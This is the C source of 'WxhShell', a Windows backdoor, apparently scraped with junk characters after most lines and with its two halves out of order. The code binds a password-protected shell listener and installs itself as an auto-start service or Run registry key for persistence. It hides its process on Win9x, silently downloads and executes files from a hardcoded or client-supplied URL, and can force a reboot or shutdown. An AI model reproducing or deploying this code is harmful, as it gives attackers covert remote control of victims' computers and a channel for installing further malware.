    if(Boot(SHUTDOWN)) Y[dq"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WmN( (  
    else { A`ajsZ{q,  
    closesocket(wsh); -]H~D4ng  
    ExitThread(0); "aCAA#$J  
    } e,MsF4'  
    break; ;R[3nb9%  
    } kS:#|yY8%  
  // 获取shell ?Rx(@  
  case 's': { \7"|'fz  
    CmdShell(wsh); qc 5[ e  
    closesocket(wsh); #j=yQrJ  
    ExitThread(0); G{E`5KIvm  
    break; v{fcQb  
  } ii-AE L  
  // 退出 >3Q|k{97  
  case 'x': { y!.jpF'uI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RZ xwr  
    CloseIt(wsh); =R|XFZ,  
    break; Y`Io}h G$  
    } 6/Xs}[iJ  
  // 离开 ,3y9yJQa*#  
  case 'q': { Z>Mv$F"p:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cgSN:$p(R  
    closesocket(wsh); <7`zc7c]#  
    WSACleanup(); 9S*"={}%  
    exit(1); _gI1rXI  
    break; C5,fX-2Q  
        } \ '4~@  
  } bAGKi.  
  } ]p 3f54!  
+ovK~K $A  
  // 提示信息 *^~ =/:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tmooS7\a  
} %dFJ'[jDL  
  } Qop,~yK  
ABX%oZ7[|o  
  return; J5I@*f)l  
} yy7(')wKO  
.t5.(0Xk[A  
// shell模块句柄 ;54NQB3L  
int CmdShell(SOCKET sock) e12QYoh  
{ ,_I rE  
STARTUPINFO si; I /MY4?(T  
ZeroMemory(&si,sizeof(si)); bYnq,JRA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (^m] 7l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0f.j W O  
PROCESS_INFORMATION ProcessInfo; <ak[`]  
char cmdline[]="cmd"; q!eE~O;A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y]m: {  
  return 0; b j`\;_oo  
} MQ-u9=ys  
h @!p:]  
// 自身启动模式 hx$61 E=  
int StartFromService(void) :Kwu{<rJ!(  
{ <f>w"r  
typedef struct \7r0]& _  
{ Wye* ~t  
  DWORD ExitStatus; ,=P&{38\q  
  DWORD PebBaseAddress; =GPXuo  
  DWORD AffinityMask; 3k`Q]O=OU  
  DWORD BasePriority; LV^^Bd8Ct  
  ULONG UniqueProcessId; v$|~ g'6  
  ULONG InheritedFromUniqueProcessId; c MXv  
}   PROCESS_BASIC_INFORMATION; qTr P@F4`g  
Q=`yPK>{$N  
PROCNTQSIP NtQueryInformationProcess; ;7QXs39S  
Mh.1KI[t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :ZV |8xI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ERpAV-Zf  
Zj2 si  
  HANDLE             hProcess; &*=!B9OBI  
  PROCESS_BASIC_INFORMATION pbi; w={q@. g%  
z'EQdQ)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %N*[{j= ^  
  if(NULL == hInst ) return 0; i[!|0U`p  
J rx^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )8@-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j Q5F}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zjQ746<&)i  
73;Y(uh9  
  if (!NtQueryInformationProcess) return 0; Q[biy{(b8  
H9/!oI1P?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rx1u*L  
  if(!hProcess) return 0; 9&n9J^3L  
J:yv82  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wUv?;Y$C  
hG?y)g\A  
  CloseHandle(hProcess); ]#)(D-i  
|Vx [  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +'<P W+U$  
if(hProcess==NULL) return 0; .gx^L=O:  
da7"Q{f+  
HMODULE hMod; h;gc5"mG  
char procName[255]; {aY) Qv}  
unsigned long cbNeeded; l{{,D57J  
*[Z`0AgP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >GGM76vB=,  
!p&<.H_  
  CloseHandle(hProcess); `Nx@MPo  
Z7a@$n3h  
if(strstr(procName,"services")) return 1; // 以服务启动 .9nqJ7]  
yE8D^M|g  
  return 0; // 注册表启动 !kovrvM6F  
} .xJ54Vz  
K%v:giN$l`  
// 主模块 D$hQ-K  
int StartWxhshell(LPSTR lpCmdLine) 9zwD%3Ufn  
{ 4X+xh|R:U  
  SOCKET wsl; TEz;:*,CG  
BOOL val=TRUE; atTR6%!6  
  int port=0; L 4j#0I]lq  
  struct sockaddr_in door; "cKD#  
E>bkEm  
  if(wscfg.ws_autoins) Install(); 5whW>T  
pU7;!u:c4%  
port=atoi(lpCmdLine); lL)f-8DX  
\sNgs#{7E7  
if(port<=0) port=wscfg.ws_port; /ox7$|Jyr  
5Z>a}s_i  
  WSADATA data; $6rm;UH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W%L'nR~w$  
wQ+pVu?6_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rl|'.~mc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?^Rp" H   
  door.sin_family = AF_INET; d&+]@ Ii  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z% 8`F%2  
  door.sin_port = htons(port); d%7?913  
COh#/-`\1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q\EYsN</;  
closesocket(wsl); !mlfG "FE  
return 1; @xWWN  
} Bb/if:XS  
?'> .>  
  if(listen(wsl,2) == INVALID_SOCKET) { [c,V=:Cq  
closesocket(wsl); ;'S,JGpvT  
return 1; 3FiK/8mu  
} /vSGmW-*  
  Wxhshell(wsl); QX=TuyO  
  WSACleanup(); jIs>>  
Cqr{Nssu  
return 0; cq I $9  
'nTlCYT  
} mw"FQ?bJ  
hEZvi   
// 以NT服务方式启动 *K/K97  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5iA>Z!sP[  
{ 50_[hC&C)  
DWORD   status = 0; l U/Xi  
  DWORD   specificError = 0xfffffff; IC cr  
cGV%=N^BE<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KQf WpHwfj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )> ZT{eF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n41#  
  serviceStatus.dwWin32ExitCode     = 0; d5'Q 1"{  
  serviceStatus.dwServiceSpecificExitCode = 0; ]o] VS  
  serviceStatus.dwCheckPoint       = 0; Lz 1.+:Ag  
  serviceStatus.dwWaitHint       = 0; w/#7G\U  
o/{`\4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ' [$KG  
  if (hServiceStatusHandle==0) return; ,JwX*L<:  
ED` 1)1<  
status = GetLastError(); 7KIekL  
  if (status!=NO_ERROR) P]Fb0X  
{ rH7Cv/Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~5P9^`KNH  
    serviceStatus.dwCheckPoint       = 0; }097[-g7  
    serviceStatus.dwWaitHint       = 0; 8jz>^.-o  
    serviceStatus.dwWin32ExitCode     = status; qyRN0ZB"A^  
    serviceStatus.dwServiceSpecificExitCode = specificError; yj:@Fg-3g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BM!ZdoKrKt  
    return; Y<T0yl?  
  } </25J((  
BE0l2[i?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EE"8s7ZF  
  serviceStatus.dwCheckPoint       = 0; l[E^nh>  
  serviceStatus.dwWaitHint       = 0; .YF1H<gwa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !ZTghX}D  
} PNm@mC_fh  
|+Wn5iT  
// 处理NT服务事件,比如:启动、停止 [c B^6v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H'WYnhU&  
{ (_pw\zk>  
switch(fdwControl) g (w/  
{ ?'k_K:_  
case SERVICE_CONTROL_STOP: n-9xfn0U~#  
  serviceStatus.dwWin32ExitCode = 0; XM\\Imw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]aPf-O*  
  serviceStatus.dwCheckPoint   = 0; do8[wej<:  
  serviceStatus.dwWaitHint     = 0; /r7xA}se^  
  { ?}Zo~]7E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # xO PF9  
  } R'gd/.[e  
  return; if&bp ,  
case SERVICE_CONTROL_PAUSE: +?)7 l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F3bTFFt  
  break; 7hk<{gnr  
case SERVICE_CONTROL_CONTINUE: DdR0u0JH0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UwUHB~<oE  
  break; Zn9u&!T&  
case SERVICE_CONTROL_INTERROGATE: gKb,Vrt  
  break; X.<3 /  
}; f"7MYw\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f\R_a/Us  
} PMsb"=Ds  
,>B11Z}PH  
// 标准应用程序主函数 Z )c\B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |^1g*f y?  
{ qm_l# u6  
rO#w(]   
// 获取操作系统版本 jRg/N_2'2  
OsIsNt=GetOsVer(); i|{psA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZLzc\>QX  
sywuS  
  // 从命令行安装 y`oj\  
  if(strpbrk(lpCmdLine,"iI")) Install(); (utP@d^  
z|Y54o3  
  // 下载执行文件 =w3A{h"^  
if(wscfg.ws_downexe) { ^iONC&r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0`E G-Hw  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0d+n[Go+S  
} f&CQn.K"  
O[d#-0s  
if(!OsIsNt) { 1%_RXQVG  
// 如果时win9x,隐藏进程并且设置为注册表启动 i bzY&f  
HideProc(); /phMrL=  
StartWxhshell(lpCmdLine); !; >s.]  
} Z]B v  
else P^OmJ;""D  
  if(StartFromService()) }-fHS;/  
  // 以服务方式启动 BWxfY^,'&6  
  StartServiceCtrlDispatcher(DispatchTable); [)V~U?  
else nT?+^Ruc  
  // 普通方式启动 2OoANiX  
  StartWxhshell(lpCmdLine); L(|K{vHh]  
1Le8W)J  
return 0; gnH {_  
} VzXVy)d  
4FzTf7h^  
9D14/9*(dU  
~Eg]Auk7  
=========================================== E_~e/y"-  
CT'4.  
g(pr.Dw6  
(#y2R F8j  
g7! LX[  
C<_\{de|9  
" xT 06*wQ  
&pY '  
#include <stdio.h> Movm1*&=  
#include <string.h> P%:?"t+J`;  
#include <windows.h> t{c:<nN  
#include <winsock2.h> *+*W# de.  
#include <winsvc.h> ND1hZ3(^  
#include <urlmon.h> x\'3UKQP+^  
RNc:qV<H  
#pragma comment (lib, "Ws2_32.lib") X{x(p  
#pragma comment (lib, "urlmon.lib") ;h1hz^Wq  
Tz)Ku  
#define MAX_USER   100 // 最大客户端连接数 |m KohV qr  
#define BUF_SOCK   200 // sock buffer LF7 }gQs ^  
#define KEY_BUFF   255 // 输入 buffer l :{q I#Q  
:m `D   
#define REBOOT     0   // 重启 t*= nI $  
#define SHUTDOWN   1   // 关机 |fKT@2(  
^ ##j {h7  
#define DEF_PORT   5000 // 监听端口 a]*{!V{$i  
x_~_/&X5  
#define REG_LEN     16   // 注册表键长度 * sldv  
#define SVC_LEN     80   // NT服务名长度 ,Vq$>T@z  
vu)EB!%[  
// 从dll定义API oz=V|7,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c@g(_%_|2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =RHtugwy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !:xycLdfUp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J&j5@  
by+xK~>  
// wxhshell配置信息 LilK6K  
struct WSCFG { B:X%k/{  
  int ws_port;         // 监听端口 S"*k#ao  
  char ws_passstr[REG_LEN]; // 口令 j1`<+YT<#  
  int ws_autoins;       // 安装标记, 1=yes 0=no `^Ll@Cx"  
  char ws_regname[REG_LEN]; // 注册表键名 &wlD`0v  
  char ws_svcname[REG_LEN]; // 服务名 2->Lz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SZTn=\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  p0W<K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v' t'{g%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '4M{Xn}@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m!KEK\5M?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NxF:s,a6  
W!$U{=  
}; ?GH/W#{o)  
x%s1)\^A  
// default Wxhshell configuration .tKBmq0xo"  
struct WSCFG wscfg={DEF_PORT, Xps \+l%i  
    "xuhuanlingzhe", YZ<z lU  
    1, qeFaY74S  
    "Wxhshell", mn03KF=n]  
    "Wxhshell", 7HVENj_b+M  
            "WxhShell Service", K6-)l isf  
    "Wrsky Windows CmdShell Service", 0 \ U*  
    "Please Input Your Password: ", a>l,H#w*vW  
  1, Tv1oy%dK  
  "http://www.wrsky.com/wxhshell.exe", s<LnUF1b  
  "Wxhshell.exe" 'Z#_"s#L  
    }; ~~|Iw=:  
O [= L#wi  
// 消息定义模块 8Tg1 >q<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  K!ILO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @?e~l:g})g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y0Gblza  
char *msg_ws_ext="\n\rExit."; c$,1j%[)  
char *msg_ws_end="\n\rQuit."; hiibPc?I  
char *msg_ws_boot="\n\rReboot..."; z2{y<a9;?  
char *msg_ws_poff="\n\rShutdown..."; mKu,7nMvF  
char *msg_ws_down="\n\rSave to "; -BP10-V  
Y2tVq})!  
char *msg_ws_err="\n\rErr!"; QuEX|h,F  
char *msg_ws_ok="\n\rOK!"; _IdW5G  
#lMcAYH,  
char ExeFile[MAX_PATH]; Q9 AvNj>X  
int nUser = 0; ilQ}{p6I  
HANDLE handles[MAX_USER]; g%Tokl  
int OsIsNt; S`YT"|~  
 I!?Xq  
SERVICE_STATUS       serviceStatus; wbJBGT{sm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HI{q#  
F?tWx+N<{  
// 函数声明 q6rkp f,Tl  
int Install(void); ,+ IFV  
int Uninstall(void); S'^ q  
int DownloadFile(char *sURL, SOCKET wsh); ;o'r@4^&$R  
int Boot(int flag); CyLwCS{V\  
void HideProc(void); (/nnN4\=  
int GetOsVer(void); DzMg^Kp  
int Wxhshell(SOCKET wsl); E9mu:T  
void TalkWithClient(void *cs); h2x9LPLBxT  
int CmdShell(SOCKET sock); . s>@@m-  
int StartFromService(void); K" VcPDK  
int StartWxhshell(LPSTR lpCmdLine); 5?H wM[`  
9,~7,Py}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }wRm ~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @gb W:  
IV!`~\@  
// 数据结构和表定义 a9;KS>~bq  
SERVICE_TABLE_ENTRY DispatchTable[] = [uGsF0#e  
{ T8Mqu`$r  
{wscfg.ws_svcname, NTServiceMain}, c*7|>7C$i  
{NULL, NULL} G=[<KtWa  
}; -a@e28Y  
qD*y60~]zz  
// 自我安装 .-iW T4Dn  
int Install(void) [/q Bvuun  
{ sQA_6]`  
  char svExeFile[MAX_PATH]; AB\Ya4O"9  
  HKEY key; )%S@l<%@?  
  strcpy(svExeFile,ExeFile); jZ-s6r2=  
q/zU'7%@  
// 如果是win9x系统,修改注册表设为自启动 *]HnFP  
if(!OsIsNt) { ms5?^kS2O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _p4]\LA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <A=1]'1\r  
  RegCloseKey(key); &*" *b\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LA_{[VWYp>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \~A qA!)6  
  RegCloseKey(key); ^CLQs;zXE  
  return 0; s !?uLSEdb  
    } L(C`<iE&3  
  } ssLswb  
} >w<w*pC  
else { @%x2d1FS  
nS3Aadm  
// 如果是NT以上系统,安装为系统服务 d/yF}%0QI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NjZ~b/  
if (schSCManager!=0) ^wWbW&<Tg  
{ O=+$X Pa|  
  SC_HANDLE schService = CreateService L$3lsu!4n  
  ( ? -:2f#bC  
  schSCManager, 11"r FZ  
  wscfg.ws_svcname, q 0F6MAXj  
  wscfg.ws_svcdisp, fWq*Op.]c  
  SERVICE_ALL_ACCESS, V:L%GWU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .e0)@}Jv8>  
  SERVICE_AUTO_START, bKmwXDv'  
  SERVICE_ERROR_NORMAL, b9X*2pnWJ  
  svExeFile, aR6F%7gvz  
  NULL, ^D+^~>f  
  NULL, B%uY/Mwz$  
  NULL, 7Q&-ObW  
  NULL, 9\hI:rI  
  NULL w -o#=R_  
  ); 'o}[9ZBjn  
  if (schService!=0) {*B0lr`  
  { C^L xuUW  
  CloseServiceHandle(schService); g|]HS4y  
  CloseServiceHandle(schSCManager); \Aro Sy9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <skqq+  
  strcat(svExeFile,wscfg.ws_svcname); ;x\oY6:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :Q"|%#P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gu~*ZKyJ  
  RegCloseKey(key); sq`Xz 8u  
  return 0; V($V8P/  
    } KWY_eY_|  
  } "."(<c/3  
  CloseServiceHandle(schSCManager); 0)Ephsw  
} <$e|'}>A  
} an"~n`g  
=w+8q1!o  
return 1; :K^J bQ  
} V2}\]x'1  
PhC3F4  
// 自我卸载 ujxr/8mjV  
int Uninstall(void) #{|cSaX<  
{ Cty#|6 k  
  HKEY key; ` 'Qb?F6  
-:ucp2  
if(!OsIsNt) { Oh$:qu7o0&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D`WRy}o  
  RegDeleteValue(key,wscfg.ws_regname); |~BnE  
  RegCloseKey(key); PX|@D_%Y=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @p*)^D6E\  
  RegDeleteValue(key,wscfg.ws_regname); u5A?; a  
  RegCloseKey(key); ;9k>; g3m  
  return 0; 9(TGkz(NA  
  } IANSpWea?  
} o0C&ol_  
}  eo9/  
else { ~I5hV}ZT  
~)ys,Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m@Yc&M~  
if (schSCManager!=0) \i_E}Ii0  
{ VGQ~~U7}@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @Iz]:@\cJ  
  if (schService!=0) uTR^K=Ve  
  { QnVr)4"  
  if(DeleteService(schService)!=0) { l@B9}Icq  
  CloseServiceHandle(schService); V,_m>$Mo  
  CloseServiceHandle(schSCManager); DD$> 3`  
  return 0; W\kli';jyC  
  } y,nmPX?]n  
  CloseServiceHandle(schService); "9s_[e  
  } V_SH90@)+  
  CloseServiceHandle(schSCManager); z/{X{+Z  
} \nZB@u;S  
} =Hd yra  
n6% `  
return 1; uAPVR  
} J |q(HpB  
#; ?3k uq(  
// 从指定url下载文件 xrkl)7;  
int DownloadFile(char *sURL, SOCKET wsh) B}d&tH2^s  
{ *vaYI3{qN  
  HRESULT hr; Kn~Rck| ]  
char seps[]= "/"; Zl5'%b$&  
char *token; @zg}x0]  
char *file; hN'])[+V  
char myURL[MAX_PATH]; Tsg9,/vXM  
char myFILE[MAX_PATH]; )SmnLvL  
^OY]Y+S`Ox  
strcpy(myURL,sURL); LQR2T5S/Q,  
  token=strtok(myURL,seps); 4qie&:4j  
  while(token!=NULL) F]3Y,{/V  
  { s7Agr!>f  
    file=token; BNK]Os  
  token=strtok(NULL,seps); nzflUR{`-  
  } h+g\tYWGP  
v(2N@s <%  
GetCurrentDirectory(MAX_PATH,myFILE); J3_aHI  
strcat(myFILE, "\\"); nQc#AFg  
strcat(myFILE, file); @yuiNj .T  
  send(wsh,myFILE,strlen(myFILE),0); bT.q@oU  
send(wsh,"...",3,0); gN=.}$Kfu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R_PF*q2 '  
  if(hr==S_OK) 5Kg'&B (  
return 0; @oAz  
else SB\%"nnV  
return 1; vamZKm~p  
~gfR1SE  
} >c,s}HJ  
'Z`7/I4&  
// 系统电源模块 y"JR kJ  
int Boot(int flag) <>3)S`C`p  
{ =5+*TL`  
  HANDLE hToken; sasurR|;  
  TOKEN_PRIVILEGES tkp; 6z9 '|;,4  
TQ4@|S:OF  
  if(OsIsNt) { {6'X z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L|'^P3#7`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z4] n<~o  
    tkp.PrivilegeCount = 1; }g}Eh>U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !a@)6or  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [C "\]LiX  
if(flag==REBOOT) { 3$\k=q3`#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9"P|Csj  
  return 0; bx3Q$|M?  
} I_J&>}V'  
else { [*',pG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q\Y4vWg  
  return 0; _VrY7Mz:r  
} PXb$]HV  
  } iEvQ4S6tD  
  else { U[C4!k:0  
if(flag==REBOOT) { Mkz_.;3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lzq/^&sc(  
  return 0; II\&)_S.4  
} =c[tHf  
else { Y9+_MxC"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .Nn11F< d  
  return 0; 3z+l-QO8  
} o<`hj&s  
} =gB5JB<}2  
^|Q]WHNFB  
return 1; ":Wq<Z'  
} oh9 ;_~  
jm^.E\_  
// win9x进程隐藏模块 |YJ83nSO~  
void HideProc(void) JVE\{ e)  
{ & LE5' .s  
&R94xh%@(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &|hK79D  
  if ( hKernel != NULL ) I%[e6qX@  
  { 2c9?,Le/;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]b4WfIu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *M.xVUPr  
    FreeLibrary(hKernel); (eN7s_  
  } j6rNt|  
!U^{`V jp[  
return; +hxG!o?O  
} ZitM<Qi&y  
d#ir=+o{h  
// 获取操作系统版本 !J`lA  
int GetOsVer(void) ZaFt4#  
{ 2B,O/3y  
  OSVERSIONINFO winfo; Ed9Uw 7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D|;O9iks#  
  GetVersionEx(&winfo); *%j$i_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y=Vbs x  
  return 1; % Y^J''  
  else Luq4q95]  
  return 0; a{5SOe;;  
} #z `W ,^C  
,erw(7}'.  
// 客户端句柄模块 @A/k"Ax{r  
int Wxhshell(SOCKET wsl) 1vj/6L  
{  F!omkN  
  SOCKET wsh; `9~ %6N?7#  
  struct sockaddr_in client; "/W[gP[y%  
  DWORD myID; 3N7H7(IR  
)g0fN+Mb  
  while(nUser<MAX_USER) {0zn~+  
{ OZ[YB  
  int nSize=sizeof(client); Yd^@Ei9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G=zWhqieh  
  if(wsh==INVALID_SOCKET) return 1; !gsvF\XDM  
H];B?G';C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G-aR%]7$g  
if(handles[nUser]==0) M+/xw8}a  
  closesocket(wsh); 'Uok<;  
else mB?x_6#d9  
  nUser++; $NXP)Lic)  
  } wKV4-uyr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #+ I'V\ [  
.Eao|;  
  return 0; \CbJU  
} UtZ,q!sg  
{1W:@6tl  
// 关闭 socket ccD+AGM.  
void CloseIt(SOCKET wsh) g)D_  !iz  
{ dAo;y.3  
closesocket(wsh); Rj8%% G-pt  
nUser--; k+3qX'fd  
ExitThread(0); 8%?y)K^ D  
} K1B9t{T  
MmuT~d/  
// 客户端请求句柄 ^J!q>KJs  
void TalkWithClient(void *cs) bx@l6bpQ  
{ {T){!UVp!  
*b~6 BM$  
  SOCKET wsh=(SOCKET)cs; Cs'LrUB?=U  
  char pwd[SVC_LEN]; ZL MH~cc  
  char cmd[KEY_BUFF]; xmW~R*^  
char chr[1]; (\V i _  
int i,j; 7e/+C{3v  
[K!9xM6  
  while (nUser < MAX_USER) { Gr"CHz/  
M>8J_{r^  
if(wscfg.ws_passstr) { bz>X~   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }pc9uvmIJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O] _4pP  
  //ZeroMemory(pwd,KEY_BUFF); 7nZPh3%  
      i=0; e#eVc'=cDR  
  while(i<SVC_LEN) { x&}]8S)  
*GP2>oEM  
  // 设置超时 /zn=AAYb  
  fd_set FdRead; o5<<vvdA  
  struct timeval TimeOut; '%)R}wgV  
  FD_ZERO(&FdRead); *{o7G  a  
  FD_SET(wsh,&FdRead); 0D X_ *f  
  TimeOut.tv_sec=8; GK(CuwJe  
  TimeOut.tv_usec=0; U)S=JT~h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :!ya&o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gL;Kie6Z  
6% D9;-N)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); " qI99e  
  pwd=chr[0]; p{FI_6db  
  if(chr[0]==0xd || chr[0]==0xa) { Bf_$BCyGW  
  pwd=0; q}1ZuK`6  
  break; H=r-f@EOrI  
  } t>"%exdoZ  
  i++; sE1cvAw9l  
    } v* ;d  
lW bu`y  
  // 如果是非法用户,关闭 socket Dn- gP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "tK%]c d-  
} :FyF:=  
&y[NC AeA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K%(y<%Xp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5~Y`ikwxL  
"L~(%Nx3  
while(1) { uOxHa>h  
b}J%4Lx%m  
  ZeroMemory(cmd,KEY_BUFF); CSk]c9=  
4#U}bN  
      // 自动支持客户端 telnet标准   `]Bb0h1![  
  j=0; 5xY{Q  
  while(j<KEY_BUFF) { #cbgp;,M{I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S63 Zk0(25  
  cmd[j]=chr[0]; )Q)qz$h@  
  if(chr[0]==0xa || chr[0]==0xd) { 6CJMQi,kn  
  cmd[j]=0; 8;PkuJR_]  
  break; yNTd_XPL  
  } IThd\#=  
  j++; &W `xZyb3  
    } R>Ra~ b  
n|`3d~9$&  
  // 下载文件 n ]ikc|  
  if(strstr(cmd,"http://")) { %H{p&ms  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b7Y g~Lw  
  if(DownloadFile(cmd,wsh)) 74s{b]jN'-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<%!9Z  
  else KKeMi@N  
